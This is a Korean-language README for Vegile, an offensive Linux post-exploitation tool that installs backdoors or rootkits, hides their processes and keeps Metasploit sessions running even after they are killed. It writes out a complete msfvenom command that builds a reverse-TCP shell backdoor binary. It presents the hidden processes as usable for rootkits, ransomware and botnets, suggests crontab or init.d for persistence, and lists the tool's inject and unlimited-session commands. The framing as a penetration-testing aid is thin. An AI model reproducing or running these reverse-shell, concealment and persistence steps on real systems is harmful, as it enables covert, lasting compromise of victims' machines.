Vegile - Ghost In The Shell

Vegile는 리눅스에서 포스트 익스플로잇 기술을 위한 도구입니다. 포스트 익스플로잇 기술은 일정 수준의 액세스를 유지하고 잠재적으로 대상의 신뢰 네트워크로 더 깊이 침투할 수 있도록 보장합니다.

기부

이 프로젝트가 침투 테스트에 매우 도움이 되고 저를 지원하고 싶다면, 커피 한 잔 사주세요 :)

📖 작동 방식

이 도구는 백도어/루트킷을 설정합니다. 백도어가 설정되면 특정 프로세스가 숨겨지고, metasploit에서 세션이 무제한이 되며 투명해집니다. 심지어 종료되어도 다시 실행됩니다. 항상 다른 프로세스를 실행하는 프로세스가 존재하므로, 이 프로세스는 죽지 않는 Ghost in The Shell과 같다고 볼 수 있습니다.

이 내용을 읽어주세요

현재 저는 msfvenom 명령어로 reverse_shell을 사용한 백도어와 리눅스용 수동 백도어만 테스트했습니다 [ 작동함 ] 또는 thefatrat를 사용하여 간단한 백도어를 만들 수 있습니다.
msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f elf -o NAME_BACKDOOR
숨겨진 프로세스는 루트킷, 백도어, 랜섬 및 봇넷 { sh, python, perl, exe 및 binary } 에 사용할 수 있습니다.
피해자는 base32 및 base64를 시스템에 포함한 모든 리눅스 배포판을 대상으로 합니다.
지속성을 얻으려면 crontab 및 xinit.d를 백도어에 사용할 수 있습니다.
이는 세션과 백도어/루트킷을 유지하는 간단한 알고리즘일 뿐입니다. 직접 탐구해보세요.

시작하기

git clone https://github.com/Screetsec/Vegile.git
cd Vegile
chmod +x Vegile

Vegile 사용법

인자 없이 Vegile을 실행하면 가장 일반적인 옵션 목록이 표시됩니다. 다음 명령어를 사용할 수 있습니다:

Vegile -i / --inject [backdoor/rootkit]
Vegile -u / --unlimited [backdoor/rootkit]
Vegile -h / --help

데모 영상

:octocat: 크레딧

알라에게 감사드립니다.
Dracos Linux from Scratch Indonesia (훌륭한 침투 OS), http://dracos-linux.org/ 에서 확인 가능
Bash.ID, WingkoColi, Reversing ID, IndoXploit, Backbox Indonesia, Depok Cyber Security 및 Indonesia Backtrack Team
Offensive Security의 훌륭한 OS ( http://www.offensive-security.com/ )
http://www.kali.org/ Kali Linux
참고 자료와 아이디어를 제공해 주신 gianlucaborello [ https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/ ]
github의 다른 오픈소스 도구들

면책 조항

참고: 이 소스 코드에 대한 수정, 변경 또는 변형은 허용되지만, 이 코드를 사용한 모든 공개 릴리스는 이 도구의 작성자( Edo maland )의 승인을 받아야 합니다.

Vegile

인기